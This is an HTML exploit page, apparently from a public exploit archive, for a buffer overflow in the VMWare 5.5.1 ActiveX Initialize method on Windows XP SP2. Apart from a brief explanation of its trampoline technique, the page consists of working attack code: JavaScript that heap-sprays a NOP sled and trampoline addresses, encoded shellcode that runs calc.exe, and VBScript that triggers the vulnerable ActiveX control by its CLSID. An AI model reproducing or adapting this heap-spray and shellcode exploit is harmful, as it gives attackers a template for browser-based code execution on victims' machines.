<html> <head> <title>WinXP Pro SP2 lame local VMWare Buffer Overflow</title> </head> <body> <center> <br> Discovered By NormandiaN<br> Visit my website at http://www.grisapka.org<br> <br> <h3> This will exploit overflow and execute calc.exe on WinXP Pro SP2<br> (fully patched) against VMWare 5.5.1 Initialize ActiveX member.<br> </h3> I have only found a bad solution to this bug. Due to the fact that<br> my controlling assembler is a call dword ptr[reg] I need to point<br> to a location I control, fine. However my payload is random pretty<br> much every run. Therefor I fill half a HUGE buffer with the address<br> (pointer) to my evil buffer, which them trampolines me to shellcode<br> <br> call ptr [reg]<br> [reg] -> 0xtrampoline<br> 0xtrampoline -> shellcode<br> <br> </center> <script> var buffa1 = unescape("%uedb0%u0d91") do { buffa1 += buffa1; } while (buffa1.length < 0x500000); var buffa2 = unescape("%u9090%u9090") do { buffa2 += buffa2; } while (buffa2.length < 0x800000); buffa1 += buffa2; buffa1 += unescape("%u9090%u9090%u9090%uC929%uE983%uD9DB%uD9EE%u2474" + "%u5BF4%u7381%uA913%u4A67%u83CC%uFCEB%uF4E2%u8F55" + "%uCC0C%u67A9%u89C1%uEC95%uC936%u66D1%u47A5%u7FE6" + "%u93C1%u6689%u2FA1%u2E87%uF8C1%u6622%uFDA4%uFE69" + "%u48E6%u1369%u0D4D%u6A63%u0E4B%u9342%u9871%u638D" + "%u2F3F%u3822%uCD6E%u0142%uC0C1%uECE2%uD015%u8CA8" + "%uD0C1%u6622%u45A1%u43F5%u0F4E%uA798%u472E%u57E9" + "%u0CCF%u68D1%u8CC1%uECA5%uD03A%uEC04%uC422%u6C40" + "%uCC4A%uECA9%uF80A%u1BAC%uCC4A%uECA9%uF022%u56F6" + "%uACBC%u8CFF%uA447%uBFD7%uBFA8%uFFC1%u46B4%u30A7" + "%u2BB5%u8941%u33B5%u0456%uA02B%u49CA%uB42F%u67CC" + "%uCC4A%uD0FF"); </script> <object id="target" classid="clsid:F76E4799-379B-4362-BCC4-68B753D10744"> </object> <script language="vbscript"> VmdbDb=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA VmdbPoll=200011744 target.Initialize VmdbDb, VmdbPoll </script> </body>
